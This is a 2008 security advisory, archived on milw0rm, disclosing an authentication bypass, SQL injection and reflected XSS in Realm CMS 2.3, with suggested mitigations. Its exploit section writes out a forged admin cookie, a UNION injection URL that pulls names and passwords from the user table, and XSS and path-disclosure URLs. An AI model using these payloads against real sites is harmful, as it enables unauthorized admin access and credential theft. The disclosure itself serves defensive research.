realm CMS 2.3 - Multiple Vulnerabilities



Platform:

PHP

Date:

2008-06-09


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########################## www.BugReport.ir #######################################
#
#        AmnPardaz Security Research Team
#
# Title: Realm CMS Multiple Vulnerabilities Lead to Admin Access.
# Vendor: www.realmproject.com
# Vulnerable Version: 2.3 and prior versions
# Exploit: Available
# Impact: High
# Fix: N/A
# Original Advisory: http://bugreport.ir/index.php?/40
###################################################################################

####################
1. Description:
####################
 Realm CMS is an unique FREE classic ASP application integrating 
together Content Management and Blogging web publishing. Realm CMS is 
especially designed and tuned to be fast and smart handling web sites 
including thousands of web pages. Realm CMS is fundamentally based on 
the technology of caching - simultaneously using server's RAM and disk. 
This means that Realm CMS web site is easily managed as are database 
driven web sites and the same time it is as fast, robust as web sites 
based on pure HTML. This feature makes Realm CMS MS Access database 
driven web site fast and robust as are enterprise level database driven 
sites. 

####################
2. Vulnerabilities:
####################
    2.1. Broken Authentication and Session Management. Attacker can enter to the admin pages by a manipulated cookie.
        2.1.1. Exploit:
                        Check the exploit section.
    2.2. Injection Flaws. SQL Injection in "inc_routines.asp" in "KeyWordsList" function on "kwrd" parameter.
        2.2.1. Exploit:
                        Check the exploit section.
    2.3. Cross Site Scripting (XSS), Information Leakage. Reflected XSS attack, and DB path disclosure in "/cms/_db/compact.asp"
        2.3.1. Exploit:
                        Check the exploit section.
####################
3. Exploits:
####################
    Original Exploit URL: http://bugreport.ir/index.php?/40/exploit
    3.1. Attacker can enter to the admin pages by a manipulated cookie.
        -------------
        -Set these cookies:
            RealmCmsUser=cUserfiles=userFiles&cIntallType=BugReportTeam&cDbLocat=in&cSiteName=www.Bugreport.IR&cFolder=%2Fcms&cUniqueID=db&cUserRole=1&cUserName=Admin&cUserID=20
        -Then go to:
            /_RealmAdmin/login.asp
        -------------
    3.2. SQL Injection in "inc_routines.asp" in "KeyWordsList" function on "kwrd" parameter.
        -------------
        http://[URL]/cmsr/?job=kwl&kwrd=WWW.BugReport.IR' union select name,password from tblusers where name not like '%WWW.BugReport.IR
        -------------
    3.3. Reflected XSS attack, and DB path disclosure in "/cms/_db/compact.asp"
        -------------
        http://[URL]/cms/_db/compact.asp?CmpctedDB=%3Cscript%3Ealert('XSSed by BugReport.IR')%3C/script%3E    (Reflected XSS attack)
        http://[URL]/cms/_db/compact.asp?CmpctedDB=1&Boyut=%3Cscript%3Ealert('XSSed by BugReport.IR')%3C/script%3E    (Reflected XSS attack)
        http://[URL]/cms/_db/compact.asp    (DB path disclosure)
        -------------
####################
4. Solution:
####################
    Rename admin directory "/_RealmAdmin" and wait for vendor patch (for 2.1).
    Edit the source code to ensure that inputs are properly sanitized (for 2.2).
    Remove or rename all the "/_db/compact.asp" files, in the cms (for 2.3).
####################
5. Credit:
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com

# milw0rm.com [2008-06-09]